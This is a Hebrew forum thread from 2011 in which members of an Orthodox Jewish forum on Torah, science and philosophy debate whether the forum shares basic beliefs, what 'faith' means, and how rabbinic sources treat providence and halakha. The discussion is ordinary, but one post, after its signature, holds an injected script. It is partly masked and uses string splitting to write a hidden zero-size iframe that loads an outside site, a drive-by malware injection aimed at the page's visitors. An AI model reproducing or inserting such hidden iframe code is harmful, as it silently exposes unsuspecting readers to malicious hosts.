| נשלח ב-27/11/2011 08:23 |
|
| |
לומדתלומדת: האם יש אמונות בסיסיות מקובלות בפורום?
לומדתלומדת כתבה:
אולי כדאי שוותיקי\חכמי הפורום ינסחו כאן רשימה של אמונות בסיסיות שמקובלות על כולם כאן, אם יש בכלל דבר כזה. נניח: יש אלוקים בורא ומנהיג. עם ישראל הוא העם הנבחר. לאלוקים יש מעמנו רצונות. משה רבנו היה בשמים. אנו מחוייבים להלכה. נתתי רק דוגמאות, אינני יודעת אם הן מקובלות כאן על כולם או לא, (מניחה שחלק מהן ודאי לא) אני שואלת אם אפשר לסכם מאד בקצרה ובלי נימוקים, מה כן מקובל בבסיס הפורום הזה, ואם תצליחו ליצור רשימה כזו, אולי תעברו למה בספק. חושבת שזה גם יעזור לחדשים להחליט אם הם רוצים להשתתף פה או לא. וגם יעזור לבהירות הענינים ולקביעת נקודת מוצא לדיונים.
|
|
|
|
| נשלח ב-27/11/2011 08:23 |
|
| |
מקסמן כתב:
זה מבחן או מה ? הפורום כשמו כן הוא "עצור כאן חושבים" אם יש למישהו דעה ברורה אז הוא לא גולש לכאן כלל, הרי הכל בסדר מבחינתו,
|
|
|
|
| נשלח ב-27/11/2011 08:24 |
|
| |
לומדת הפורום הוקם על ידי חרדים שגם למדו פילוסופיה ומדע וחשו שאין חברה או פלטפורמה לדון בנושאים כאלו. הפורום הוקם על מנת לאפשר דיון בכל נושא שנפגשים בו (בהתנגשות או בהתחברות) של תורה, מדע ופילוסופיה. ראשוני הכותבים היו חרדיים ועוסקים בתורה (אפשר לכתוב "תלמידי חכמים"), אבל לא רק. במשך הזמן פרשו רבים והצטרפו רבים. חלקם בעלי ידע ומחוייבות לתורה ולאמונותיה (לפחות לחלקן העתיק יותר) וחלקם אנטי במפורש. השיטה שמיוצגת היום על ידי מנהל הפורום בפועל, הלא הוא הרב סיינפלד, היא שאין ולא אמורה להיות לכותבים שום מחוייבות לחרדיות או ליראת שמים ויהדות. כותב שורות אלו, שהוא מן הותיקים ויד לו בניהול, סבור אחרת, שאנו עדיין צריכים להיות פורום עם מחוייבות ליהדות (בלשון המעטה) אבל במתודולוגיה אין בינינו הבדל. מותר לומר כל דבר כל עוד זה בדרך ארץ, ומותר לשאול כל שאלה, שוב בדרך ארץ. זה המחיר של פתיחות. זו משמעותה של פתיחות. אם יש מחוייבות הריהי ל:אמת כפי שניתן לברר ולדרך ארץ כדי שיהיה נעים לשוחח ולכללי עיון כדי שנבין זה את זה ונישמר ככל האפשר מטעות ונבדיל בין הוכחה לבין אי דיוק בהיסק. בפועל, כמדומה שעדיין יש כאן מקבץ של כותבים שמחוייבים לתורה ויראת שמים. מחוייבות זו כוללת, במינימום: א. אמונה שיש ה'. ב. אמונה שברא את העולם. ג. שנתן את התורה. ד. שהיא עוברת מדור לדור באחריותם של חכמים.
ה. שה' משגיח עלינו בהשגחה פרטית ברמה זו או אחרת והוא שומע תפילה. ו. שיהודים אמורים לכבד את ההלכה ולשמוע בקול ה'. ז. שזו מטרת האדם. אמונות נוספות כמו שהשולחן ערוך הוא ספר מחייב, שהקבלה היא אמת, שהתורה נכתבה כולה בידי משה רבנו, האם חכמים יכולים לטעות במשהו, האם האמונות דלעיל יש להן הוכחה ומהי הוכחה, כל אלו היו נידונים בפורום ולא היתה מחוייבות של הכותבים לסוגיהם לתשובה כזו או אחרת. כמובן, היו כותבים שערערו או באו לערער גם על עקרונות ראשוניים אלו שציינתי. היו שכתבו שהם מקבלים אותם, אבל זה היה מתוך פירוש כזה שהיה מקום לומר שהם כבר מאמינים במשהו אחר 1. האם הקביעה של רוזנצוייג שצוטטה בפורום שאם יתברר לנו שהתורה ניתנה מגילות מגילות ונערכה במשך הדורות אינה שוללת את אלוקיותה מפני שאנו מאמינים שהעורכים היו רבנינו - זו עדיין יהדות אורתודוכסית? כמדומה שהסבר גאוני זה שלטעמי יש בו יראת שמים וחכמה מרובה ייתפס בעיני רבים ככפירה מוחלטת, ועם זאת חוששני שפירוש כזה הוא חיוני עבור מי שמקבל (ולא כמוני) את ביקורת המקרא ה"גבוהה". 2. האם אמונה ב"הווה" בפרשנות מסויימת כשיטת מייסד הפורום או בקבלה בדרך החסידות, ששניהם מוליכים לכאורה לפרשנות שפינוזה או בודהיזם, הם עדיין יהדות אותנטית?
3. האמונה בהשגחה יכולה להיתפס ברמות שונות, החל משלילת הבחירה החופשית והפיכתה לטעות או לבחירה רק בהרגשתנו ביחס למתרחש אבל לא בחירה במעשים, או, להפך, שלילת מעורבות אלוקית בבריאה. כתבתי את המינימום המחייב לכאורה. בתולדות המסורת היהודית היו גישות כאלו ואחרות.
4. קבלת ההלכה אינה מוליכה בהכרח לכפיה הלכתית כפי שהתבאר באשכולות שונים, אם כי יש סבורים אחרת.
5. עוד בנושא ההשגחה. יש שטענו לאמונה "בלתי אשליתית" (אמור להיות אשכול ואם לא אז צריך להיות) כלומר להבדיל בין אמונה פרימטיבית וילדותית לבין אמונה לייבוביציאנית או גולדמנית (על שם פרופסור אליעזר גולדמן) שמציגה את היהדות כמחוייבות ולא כהבטחה. דעתי שלי נוטה לסוג הראשון, גם אם לא באופן ילדותי (אני מקוה) של אמונה בתפילה ובהשגחה.
6. האמונה במתן תורה ובנבואה יכולה להתפרש באופן פילוסופי מוקצן כחויה פסיכולוגית פנימית שאנו מפרשים כרצון ה' (לוינגר אליבא דהרמב"ם) או כאירועים שבהם ה' התגלה אישית ממש לנביאים, ממשה אבי הנביאים שהתגלותו ייחודית והלאה.
יש להוסיף הרבה ולפרט על האופנים הרבים בפירוש אמונות היסוד. אבל לא באתי לדון בהן אלא בשאלה אם ייתכנו אמונות יסוד בפורום. _________________ תוקן כדי להוסיף ואכן הוספתי הרבה דוגמאות לחירות הפרשנית, לטוב או לרע.
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");>
תוקן על ידי מיימוני ב- 27/11/2011 08:31:48
 |
|
|
|
|
| נשלח ב-27/11/2011 11:04 |
|
| |
אני חושב שלומדת טועה בכל הגישה שלה, למה זה רלוונטי מה כל אחד אוחז בכל הנושאים, הרי אנו מדברים כדי ללבן דעות, תתמקד הלומדת בנושא האשכול וירווח לה.
|
|
|
|
| נשלח ב-27/11/2011 11:11 |
|
| |
מיימוני, נראה שהבהרת את עמדתך האישית בנושאים אלו ואולי גם עמדת כמה מהמייסדים אבל ברור לכל גולש כאן שאין שום קונצנזוס בין המתדיינים הנוכחיים על אף אחד מהעקרונות הנ"ל.
|
|
|
|
| נשלח ב-27/11/2011 14:31 |
|
| |
דומני שאין מנוס מהגישה שצבי מציעה ביחס לפורום הזה ואולי בכלל למי שיוצא מהשטייטעל/חממה. אתה אף פעם לא באמת יודע במה מי שמדבר איתך מאמין , ואפילו אם אומר לך שמאמין בX יתכן שאתה תבין Y בזמן שהוא התכוון בכלל לZ. איך שלא יהיה זה לא ממש רלוונטי, רימון לקח תוכו אכל קליפתו זרק, מי שלא יודע לקלף רימונים באמת עדיף שיזהר מלהתעסק איתם, הוא/היא עלול/ה לצאת מבולבל/ת ומוחלש/ת וחבל.
|
|
|
|
| נשלח ב-27/11/2011 14:54 |
|
| |
"קבל האמת ממי שאמרה" (פתיחת ההקדמה לפירושו למסכת אבות)
הרמב"ם
|
|
|
|
| נשלח ב-1/12/2011 00:23 |
|
| |
רעיון טוב!
לומדתלומדת.
(שאפו - על כתיבתך הברורה, רהוטה, ומסוגננת היטב. יפה וקולעת, ומחשיקה המשך קריאה). מדברייך: אולי כדאי שוותיקי"חכמי הפורום ינסחו כאן רשימה של אמונות בסיסיות שמקובלות על כולם כאן, אם יש בכלל דבר כזה. נניח: יש אלוקים בורא ומנהיג. עם ישראל הוא העם הנבחר. לאלוקים יש מעמנו רצונות. משה רבנו היה בשמים. אנו מחוייבים להלכה.
אני שואלת אם אפשר לסכם מאד בקצרה ובלי נימוקים, מה כן מקובל בבסיס הפורום הזה, ואם תצליחו ליצור רשימה כזו, אולי תעברו למה בספק. חושבת שזה גם יעזור לחדשים להחליט אם הם רוצים להשתתף פה או לא. וגם יעזור לבהירות הענינים ולקביעת נקודת מוצא לדיונים.
שלא כתגובת קודמי, אני כן סבורה שרעיונך - להבעה אישית של אמונות בסיסיות מקובלות, הוא רעיון טוב, אבל לא מטעמך. דרך כלל מי שמגיע לכאן הם אנשים שמתאימים לסוג הדיונים. ובאשר לנקודות מוצא הדיונים ובהירות הענינים בנושאים המועלים כאן, עדיף שלא ייחשפו עמדות המתדיינים, הדיונים חייבים להיות ברמה הטיעונית בלבד, ללא כל הבעת עמדה אישית העשויה לשחד הן את הטוען והן את הנטען בסוג של הד הומינם. הטענות חייבות להסתמך רק על לוז הטיעון ללא כל קשר איך מסתדרים הדברים אצל הוגיהם.
אך עצם הרעיון שאדם יהא כנה עם עצמו, ויסכים להביע בפומבי את אמונותיו ועקרונות האמת שלו, תוך כדי חשיפת הסיבות שהובילו אותו לדעותיו. הוא רעיון נחמד לדעתי. דומני שהרבה אנשים לא עשו מימיהם אימון רעיוני אישי עם עצמם, ועדיין לא הסכינו להחליט במה הם בעצם מאמינים. הם חיים תחת עירפול וטישטוש דעות מתמיד, כל הרהור והגיג מהותי בעניני אמונות ודעות זוכה אצליהם למקום של כבוד לצד רעיונות אחרים מהופכים ומנוגדים - אלו לצד אלו מזינים את נפשם המסתתרת מאחורי עצמם. נושאים הם איתם שלל רעיונות מכל אשר נמצא מבית ומחוץ ולכלל הכרעה אינם מגיעים. בולסים הם לתוכם ספיקות ותמיהות, ראיות והפרכות, טיעונים כושלים והסתמכויות מוטעות, לצד כזה או אחר. חרדה מודחקת מאפשרויות המסקנות שתצופנה, חונקת את עשתונתיהם מלהוביל עצמם לכדי גיבוש עמדה ברורה. סגנון חיים מתמשך והרגל אמוני מקובע מסקל כל החלפה ונטישה רעיונית. וכך מדמים הם שהם משתייכים לאזור זה או אחר במפה הרעיונית, כשבירור אובייקטיבי היה מנהיר להם את ההפך. ישנן עוד סיבות הגורמות לאדם להעדיף לחסות תחת צילו של הספק ולהמשיך להתענג בחיקו של אי הוודאות הרעיונית - הוא מדמה שבכך הוא ניצול מאימת חוסר המשמעות והוואקום התכליתי מחד, תוך כדי חדוות החירות וחופש הדעה מאידך. הוא גם זוכה לרוגע עכשוי מושגח ושלווה מתעתדת לאוטופיה מושלמת נצחית - בשם האמונה, בצמידות להנאה ממרחב חשיבתי חופשי וחירות התנהגותית - בשם העצמאות. ייתכן ואדם מרגיש בעצמו שאיננו מסוגל להגיע לידי הכרעה ברורה בנושאים עמוקים ומורכבים, שפנים מגוונות להם. וודאי שאז איננו יכול להצהיר על אמונות בסיסיות החלטיות הקשורות לנושאים אלו.
הצעתי, אולי תחפצי את להיות ראשונה להציג שניים או שלושה ערכים בסיסיים בהם את דוגלת ומאמינה, בתוספת נימוקים וסימוכין שהביאו אותך לדבוק באותם ערכים. החברים ידונו בטיעונייך ובדרכי הסקייך. ישתכנעו או שמא יטענו שישנן כשלים בטיעוני הבסיס, אולי יוברר שהסקיך חורגים ומוטים עקב סיבות סובייקטיביות או אחרות. דומני שאחר ליבון אישי קפדני, אדם עשוי להיות מופתע מעצמו. ספיקות שהיו לו יבררו כמוכרעות וכן להפך.
תרשי להציג לפניך מספר נקודות הדרושות הבהרה מקדימה. מהי מגדיר אצלך המונח 'אמונה'. האם אמיתה המקובלת אצל בעליה ככזאת, כשבבסיסה הוכחה או אולי הסתברות. שמא הגדרת 'אמונה' לגביך, די לה באינטואיציה או בתחושה רגשית לא מבוררות, של בעליה. ואיננה ניתנת לבחינה חיצונית אובייקטיבית. אולי בכלל את דוגלת בקבלת 'אמונות בסיסיות' כמנחי דרך חיים, ללא קשר לאמיתותן או נכונותן. דיין שהן אפשריות, ועיקר ענינן בהקניית משמעות ודרך לחיים. במקרה שאכן את סבורה ש'אמונה' היא 'אמיתה' מבוררת, יש לברר מה הן הקרטריונים המקובלות עלייך לקביעת אמת. הנחות לוגיות - אוניברסליות, בלתי תלויות. או שמא סבורה את שאמת רעיונית מושתתת גם על תחושות סובייקטיביות כל שהן. כמובן שה'משמעות' של מושאי האמונה חשוב מאוד. פעמים שאדם תופס מושג באופן כוללני, כשבדקדוק וניתוח פרטני הוא מתברר כדי מעורפל או כמשהו אחר מחזותו החיצונית. פעמים גם להפך, נושאים מעורפלים דורשים סדר והעמדה. תקוותי שחכמי הפורום יתייחסו ברצינות הראויה לרעיון הצגת האמונות האישיות והסיבות אליהן. פנינת א.
 |
|
|
|
|
| נשלח ב-1/12/2011 00:57 |
|
| |
אני מצטרף באמת לרעיון של 'על חבל דק' שניכר היותה מלומדת מאוד. אמנם היא לקחה את הדברים למקום אחר מאשר לומדת, ובאמת גם זאת האחרונה מסכימה שהסיבות שלומדת נימקה אינם מספקות. דרך אגב, היכן, לומדת שהפסיקה ללמוד, בזמן האחרון לא נראית על פני הפורום. האם גמרה כבר ללמוד?
|
|
|
|
| נשלח ב-1/12/2011 15:20 |
|
| |
לא, לומדת לא גמרה ללמוד, אבל לפעמים היא עושה עוד כמה דברים.
על חבל דק - יתכן שאת צודקת, אבל אני חושבת שניתוח כזה מוציא רוח ממפרשים ופשוט 'שוחט' את האמונה והדעת ביחד. אנחנו נבראנו עם חושים, הבנה, רגשות, ומהלך זרימה טבעי. אפשר ויפה לעצור ולבדוק, להצליל את התודעה, אולם אם נעביר כל אמונה במסלול הטוחן הזה, אז היא לא תוכל לומר: כל משבריך וגליך עלי עברו, אלא תתפוגג או המאמין ירים ידיים. כמו שאת אוכלת פרי בלי מחקר על מוצאו וטיבו ונזקו ומרכיביו, או רוחצת בים בלי חקירה כנ"ל, כך אפשר לדעתי להביא רשימת אמונות יסוד, בלי דקדוק פרטים. גם למלה 'אהבה' פנים רבות מאד, אבל אם יחייבו כל מי שמביע אהבה בהצהרה מחקרית כזו, יעלמו מהעולם מביעי אהבה. התקשורת בינינו בכלליות מתעלמת מגוונים דקים ומקובל להשתמש במובן מוסכם. להצעתי - כל אחד יכתוב אמונת יסוד, לפי מה שהוא קורא לה: אמונת יסוד.
|
|
|
|
| נשלח ב-1/12/2011 16:21 |
|
| |
תראי לומדת היקרה,
חכמינו נתנו לנו יסודות ועיקרים. כל אחד לפי גודל חכמתו או צורכי הדור שלו,
יש יסוד גדול של "דרך ארץ קדמה לתורה" למשל, שזה אומר לא ללכת ראש בקיר כמו כל הכתות והדתות או לחליפין הנאורות שמרוב שרוצים להיות בני חורין מבטלים את יסודי המוסר והערכים ויסודי החינוך,
יש יסוד של הלל הזקן שאמר "דעלך סני לחברך לא תעביד" זו היא כל התורה כולה, ואידך פירושה הוא, זיל גמור". כלומר: מה שעליך שנוא לא תעשה לחברך, זו כל התורה והשאר פירוש הוא,
יש יסוד של החכמים שמוותרים לך אל האלוקים אפי' ואומרים "הלוואי אותי עזובו ותורתי שמורו" שזה אומר תששמור על הצדק והמשפט והמוסר וערכים ותוותר על עבודת האל או אמונה בו,
יש יסוד של חכמים שהיא "התבונה" והיא לפני התורה,
(יג') חכמים ונבנים וידעים,,,,,,(טו') ואקח ,,,,חכמים וידעים: בי"ת בו בינה וכו' שאלמלא בינה אין כל העולם כלו מתקיים אפילו שעה אחת, שנאמר: "הבו לכם אנשים חכמים ונבנים" באותה שעה אמר להם הקדוש ברוך הוא לישראל: בני ! הבו עליכם בעלי בינה להיות ראשים עליכם, מיד הלך משה רבינו והיה מחזיר (= מסובב ומחפש) בכל משכנותיהם של ישראל ובקש בני אדם בעלי בינה ולא מצא, שנאמר: "ואקח את ראשי שבטיכם אנשים חכמים וידעים" ולא מצא "נבנים" מכאן אתה למד שגדולה בינה לפני הקדוש ברוך הוא יותר מן התורה, שאפילו אדם קורא תורה נביאים וכתובים ושונה משנה ומדרש, הלכות ואגדות, שמועות ותוספתות, מושלות ומעמדות וכל סדרי בראשית, ואין בו בינה ?! אין תורתו שוה כלום !
שנאמר:(ישעיה כט' יד') "ובינת נבניו תסתתר"
(אותיות דרבי עקיבא)
יש יסוד של ר' חייא והחכם מכל האדם שלמה המלך,
בראשית רבה (וילנא) פרשת בראשית פרשה יט (משלי ל) אל תוסף על דבריו פן יוכיח בך ונכזבת, תני ר' חייא שלא תעשה את הגדר יותר מן העיקר שלא יפול ויקצץ הנטיעות,
זה אומר שאין לעשות כל גדר חכמים כעיקר תורה שמה יכפרו בתורה ובאלוקים, ורוב התורה הם גדרים של חכמים שבכל דור ודור,
יש יוסד של הספורנו שזועק שלהפוך את דברי חכמים כעיקר זו אלוהים אחרים,
ספורנו דברים פרק כח (יד) ולא תסור מכל הדברים אשר אנכי מצוה אתכם היום ימין ושמאל. שלא ישנו את מצות האל יתברך בפרט ענין המשפט. ולא ימירו את שאר המצות במנהגי הדיוט ומצות אנשים מלומדה כ"ש כשיעשו זה לכבוד קדמונים שהנהיגו אותם המנהגים לא לכבוד קונם ולא לשמור מצותיו כי בזה האפן אין לך ללכת אחרי אלהים אחרים גדול מזה בחדוש דת לכבוד קדמונים אשר נחשבו אלהים שופטים בארץ.,,,,,,, והתחיל בתוכחות באמרו
(טו) אם לא תשמע בקול ה' אלהיך לשמור לעשות את כל מצותיו וחוקותיו אשר אנכי מצוך היום וזה בלי ספק כאשר הומרה שמירת מצות התורה במנהגים שונים וזולתם והוסג אחור משפט.,,,,,חזר ואמר כי לא שמעת בקול ה' אלהיך לשמור מצותיו וחוקותיו אשר צוך כלומר אבל שמרת מה שצוו או הנהיגו אחרים זולתו אשר לא כתורתו כמו שספרו ז"ל (גטין) שלא היו תורמין ולא מעשרין והוצרכו לתקון יוחנן כ"ג ולגזור על הדמאי והיו נועלים דלת בפני לוין מפני השמטה והוצרך הלל לתקן פרוזבול ובטלו מי סוטה ועגלה ערופה וסנהדרין מרוב הפושעים בסוף בית שני באופן שבטל כל משפט כמו שספרו ז"ל שגברו בעלי זרוע כמו שהוא הענין היום עם כל גלותנו ושפלתנו, שרב הממון בפרט החיב בדין מואס את תורת האל יתברך ומשפטי פיהו. (ע"פ דברי הימים – א טז, יב), ומתאמץ על ידי גוים וערכאותיהם לעות אדם בריבו (ע"פ איכה ג, לו), ובכן ירדו לטמיון הם ונכסיהם ובאלה התבאר' סבת חורבן בית שני והתמדת חורבנו בהתמדת סבתו:
כמובן שיש את יג העיקרים של הרמב"ם, ויש החולקים עליו,
את לומדת היקרה חייבת להבין שעצם דרישת "יסוד" בא מעומק החשיבה שכל התורה מוביל ומכוון לתובנה אחת,
אחרת מנין לך שצריך להיות "יסוד" ??
וכל הדורות הבינו את הדבר הפשוט הזה, שיש יסוד ומשם באים הכל,
היו נוכלים שבנו יסודות אלילים בכדי לנצל את ההמון,
יש היום נוכלים שבנו את הנאורות בכדי לנצל את ההמון,
יש נוכלים שלוקחים את התורה ואת האלוקים לנצל את ההמון,
כלומר כולם מבינים שחייבים יסוד וממציאים יסוד שכזה והשאר דווקא האדם הפרטי הוא הסובל, כלומר באל כורחינו עובדים לנו בעיניים, כל אחד עם היסוד שלו,
וזה עומק העניין שהאלוקים נגד האלילות וע"ז, הרי מה באים האלילות וע"ז לומר ?! יסודות היקום ומשם חוקים ודרישות מההמון הבור והסובל,
ולכן לא יכול להיות שהתורה תהפוך את עצמה כאלילות וע"ז, וק"ו בלתי אפשרי להפוך את החכמים לאלוהים אחרים כמו זעקת הספורנו לעיל,
אז מה כן הם היסודות של היהדות ??
מיזה שהחכמים העיזו לומר
1,דרך ארץ קדמה לתורה,
2, התבונה\הבינה לפני התורה,
3, "הלוואי אותי עזובו ותורתי שמורו" ומוותרים לך על האלוקים בעצם,
4,"דעלך סני לחברך לא תעביד" זו היא כל התורה כולה, ואידך פירושה הוא, זיל גמור" שזה בעצם הצו הקטגורי של קאנט ושל הנאורות המערבית היום = יסוד המוסר והערכים,
ויש עוד הרבה בזו הדרך,
אז כאן כל אחד חייב לעצור ולחשוב מה קורא כאן ? האם החכמים ירדו לגמרי מהפסים ? מה עם האמונה מה עם האלוקים והעבדותו מה עם עולם הזה דומה לפרוזדור מה עם כל החינוך שקיבלנו בחידר בישיבה קטנה ובישיבה גדולה,
ואת לומדת היקרה בא לשאול מהם היסודות שלנו ??? האם יש לכם אמונה ??
איזה מין שאלות אלה בכלל,
אם היית לנו תשובות לא היינו מבזבזים את זמנינו לדיוני סרק,
את למשל מאשימה אותי בחוסר אמונה בהשגחה פרטית,
יש לי דיעה (שאני מנסה באמת לראות האם היא אמת. בזה שאני מציג את דעותי כאן בפורום) בעניין,
אבל מנין את בטוחה שאת בעצמך מבינה מהי השגחה פרטית,
משובש לגמרי היא הנושא במקורות, כמו בעניין עולם הבא והגהינם הרוחני לא מקובלת על כל החכמים במקורות, כלומר אין דעה אחידה בכל הנושאים האלה כלל וכלל במקורות,
ואנחנו כאן לדון בהם, ואת בא לזעוק אתם חייבים איזה יסוד ומשום כך מהי היסוד שלכם ??
אדרבה שיבוא כבר האיש שיתן לאנושות יסודות ועיקרים אבסולוטיים,
בינתיים כל בני אנוש מחפשים אותו, וזה מה שאנו עושים כאן בפורום בעצם,
נוכל ורשע הוא האדם שטוען שיש לו את היסודות, ולא משנה מי איזה צד הוא או מהמאמין או מהכופר, שניהם רשעים גמורים ונוכלים שאין להם תקנה,
תוקן על ידי maxmen ב- 01/12/2011 16:26:50
 |
|
|
|
|
|
| נשלח ב-1/12/2011 16:27 |
|
| |
מקסמן כשאתה בא לארץ אתה מעביר שיעורים איפהשהוא? אם כן אני אהיה מאד מעוניין לשמוע אותך.
|
|
|
|
| נשלח ב-1/12/2011 16:50 |
|
| |
| לומדתלומדת כתב: |  | לא, לומדת לא גמרה ללמוד, אבל לפעמים היא עושה עוד כמה דברים.
על חבל דק - יתכן שאת צודקת, אבל אני חושבת שניתוח כזה מוציא רוח ממפרשים ופשוט 'שוחט' את האמונה והדעת ביחד. אנחנו נבראנו עם חושים, הבנה, רגשות, ומהלך זרימה טבעי. אפשר ויפה לעצור ולבדוק, להצליל את התודעה, אולם אם נעביר כל אמונה במסלול הטוחן הזה, אז היא לא תוכל לומר: כל משבריך וגליך עלי עברו, אלא תתפוגג או המאמין ירים ידיים.
כמו שאת אוכלת פרי בלי מחקר על מוצאו וטיבו ונזקו ומרכיביו, או רוחצת בים בלי חקירה כנ"ל, כך אפשר לדעתי להביא רשימת אמונות יסוד, בלי דקדוק פרטים. גם למלה 'אהבה' פנים רבות מאד, אבל אם יחייבו כל מי שמביע אהבה בהצהרה מחקרית כזו, יעלמו מהעולם מביעי אהבה. התקשורת בינינו בכלליות מתעלמת מגוונים דקים ומקובל להשתמש במובן מוסכם. להצעתי - כל אחד יכתוב אמונת יסוד, לפי מה שהוא קורא לה: אמונת יסוד. |
|
אני חושב שאי ניתוח כזה, הוא פשוט מסלול של הדחקה ובלבול.
בלא הבהרת מונחי יסוד אלו, אין שום משמעות לזה שכל אדם יפרוס את אמונתו, הלוא אם מונח האמונה הוא לא שווה אצל כולם, מה ייתן לך ומה יוסיף לך שפלוני מאמין בכך וכך דברים אם מונח האמונה לא שווה.
הניתוח עצמו לדעתי הוא מוכרח בשביל על עצמו, כל הדמיון שלומדת הביאה אינו דומה כלל.
מאחר ופה יש שאלה נורא פשוטה, האם אמונה זה דבר שאדם מאמין שהוא קיים, כלומר האם הוא מדבר על עובדות, או אמונה זה רק ערכים.
וכן, אם זה עובדות מה הקרטריונים שלך לבדיקת עובדות, או להנחות שאלו הם העובדות, וכן הלאה.
בכל הדברים שלומדת הביאה, אנחנו מדברים על דברים קיימים, ואנחנו רוצים לנתח מה הם מכילים, וכאן ייתכן שלא כדאי לנו לנתח אותם כי על ידי זה הם יפורקו.
אבל, נראה מתוך דברי לומדת שכל הגישה שלה לאמונה הוא כנראה גם כן משהו ריגשי כזה שממלא אותה, ואם ככה היא צודקת.
כך גם הבנתי ממנה מההבנה שלה בתפילה, ועוד.
אבל לצערי ולטענתי, לדבר הזה אין קשר לאמונה, יש לו קשר למשמעות לחיים לסיפוק לאושר לרוחניות לא לאמונה.
|
|
|
|
| נשלח ב-2/12/2011 00:27 |
|
| |
לומדת מלומדת נכבדה
מדבריך: אני חושבת שניתוח כזה מוציא רוח ממפרשים ופשוט 'שוחט' את האמונה והדעת ביחד. אנחנו נבראנו עם חושים, הבנה, רגשות, ומהלך זרימה טבעי. אפשר ויפה לעצור ולבדוק, להצליל את התודעה. אולם אם נעביר כל אמונה במסלול הטוחן הזה, אז היא לא תוכל לומר: כל משבריך וגליך עלי עברו, אלא תתפוגג או המאמין ירים ידיים. כמו שאת אוכלת פרי בלי מחקר על מוצאו וטיבו ונזקו ומרכיביו, או רוחצת בים בלי חקירה כנ"ל, כך אפשר לדעתי להביא רשימת אמונות יסוד, בלי דקדוק פרטים. גם למלה 'אהבה' פנים רבות מאד, אבל אם יחייבו מי שמביע אהבה בהצהרה מחקרית כזו, יעלמו מהעולם מביעי אהבה. התקשורת בינינו בכלליות מתעלמת מגוונים דקים. אולי כל אחד יכתוב אמונת יסוד, לפי מה שהוא קורא לה.
איני חושבת שהניתוח אותו אני מציעה שוחט את הדעת. - 'סוחט את הדעת' מתאים יותר, וזה בהחלט משתלם. בקשר לאמונה שאולי תישחט, ייתכן. אך מה זה מלמד? שמה שאנו מכנים אמונה בלא ניתוח איננה כי אם דמיון אמוני, שתחת איזמל בקורת מנתחת, לא ברור שתשרוד. אמונה שעדיין לא פושפשה עד מקום שדעת בעליה מגעת, איננה כי אם נקיטת עמדה נוחה לרצון בעליה. - תחת היותה תוצאה של חתירה אחר האמת היא תוצאה של מסורות נרכשות בקנין עיוור. חששך מהתפוגגות האמונה, מה הוא מצביע? שאת מודעת לכשלי טיעון והסק אפשריים באמונתך, אך חששך מאיבודה גורמת לך להעלים עין. אז מה? זוהי 'אמונה' או 'החלטה'. הרמת ידים באם תגיע אחרי חקירה מאומצת, לפחות היא הודאה הגונה על האמת. אך כיצד החזקת ידים לקביעות בלתי מבוררות תיקרא 'אמונה'? נבראנו עם חושים, רגשות, הבנה כוללנית ומהלך זרימה טבעי, שאכן מסייעים בעדינו לזרום את החיים. להנות, לכאוב, והכי חשוב להתחבר לחויית החיים. אך אין בכל אלו לקבוע מה הן אמיתות ומה הן בדיות, או מה הן ערכים ראויים ומה הן ערכים מדומים, מה היא תודעה אמיתית ומה היא תודעה כוזבת. 'אמונה' אם היא מתיימרת לשקף את תמונת המציאות האמיתית, חייבת היא להיות כפופה לגמרי לקרטריונים אותם אנו מאמצים כקובעי אמת. בשביל לברר את האמת בתחום האמונות והדיעות, נבראנו עם כשרון בינה ומחשבה, ובממלכתן נוהגים כללים אחרים לגמרי מאשר בממלכת הרגשות וההבנה הפשטנית. אין בממלכת המחשבה מקום למה שחורג מהאמת בטהרתה. כל סיגי הדמיון וההשערות המוטעות מושלכים חזרה לממלכת החיים השוטפים, שם הם אהובים ורצויים, ומנותני הטון יחד עם החשקים והרציות. לכן סבורה אני שאם אדם חושב שיש בידו 'אמונות יסוד', חייב הוא לברר באופן אובייקטיבי מה ניתן לקבוע כקריטריון לקביעת אמת, והאם האמונות שלו עונות על הקריטריונים הללו. גם מה שאת מכנה 'הבנה זורמת' ניתן לבדיקה, אולי הוא אכן קריטריון לאמת. אך באם יתברר שכל אדם הבנתו הזורמת מובילה אותו לאמונות אחרות משל זולתו, נדע שאין כאן אמונות אמת אלא אמונות דמיוניות. וויכוחי 'אמונה' אינם שייכים דווקא לתחום הדת, הם שייכים לתחום נרחב מאוד של דעות ורעיונות. ישנם רעיונות והשערות בכל תחום בה רשות לדעת לשוטט. אדם שמייחס האמנה לדעה או רעיון מסוימים חייב הוא לבדוק את כל פניה של העמדה בה הוא נוקט. אם לא כן כיצד הוא קובע שהיא האמת כשינם עדיין אפשרויות אותן לא בדק. יכול להיות שהתכוונת לומר שאמונות היסוד שלך, אומתו ע"י קול פנימי או אור עמוק שגוברים על ניתוח לוגי שכלתני. בסדר, אז א"כ יש לך נימוקים לאימוץ אמונות היסוד שלך, עכשיו הם חייבים להבדק ולהחקר. אבל לפטור את מושאי האמונה מניתוח משמעותן וסיבתן, לא הופך אותן לאמיתיות אלא למועדפות ונוחיות. פנינת א.
תוקן על ידי על_חבל_דק ב- 02/12/2011 00:30:42
 |
|
|
|
|
| נשלח ב-2/12/2011 01:43 |
|
| |
נבחן את האמונות שבהצעה:
1. "יש אלוקים בורא ומנהיג". כותב הרמב"ם: "יסוד היסודות ועמוד החכמות לידע שיש שם מצוי ראשון, והוא ממציא כל נמצא. וכל הנמצאים משמים וארץ ומה שביניהם לא נמצאו אלא מאמתת המצאו". וכותב: "המצוי הזה, הוא אלהי העולם אדון כל הארץ, והוא המנהיג הגלגל בכח שאין לו קץ ותכלית". נמצאנו למדים שאין זה די להאמין שיש אלקים בורא ומנהיג, אלא צריכים ל ד ע ת שהקב"ה אין עוד מלבדו.
2. "לאלקים יש מעמנו רצונות". כבר נאמר לאברהם אבינו: כי ידעתיו למען אשר יצוה את בניו ואת ביתו אחריו לעשות צדקה ומשפט". ונאמר בירמיהו (כב, כג): "כי אני ה' עושה חסד משפט וצדקה בארץ כי באלה חפצתי נאום ה' ".
3. "עם ישראל הוא העם הנבחר". נאמר בילקוט שמעוני: "אני הוא שהנחתי כל העולם כולו ובחרתי אתכם וקראתי אתכם בני ועבדי". אמר רבי מאיר: בין בזמן שאתם עושים רצונו של מקום ובין בזמן שאינכם עושים רצונו של מקום, אתם קרויים בנים.
4. "משה רבנו היה בשמים". תניא רבי יוסי אומר: מעולם לא ירדה שכינה למטה ולא עלו משה ואליהו למרום, שנאמר השמים שמים לה' והארץ נתן לבני אדם, והא כתיב ומשה עלה אל האלקים, למטה מעשרה (טפחים).
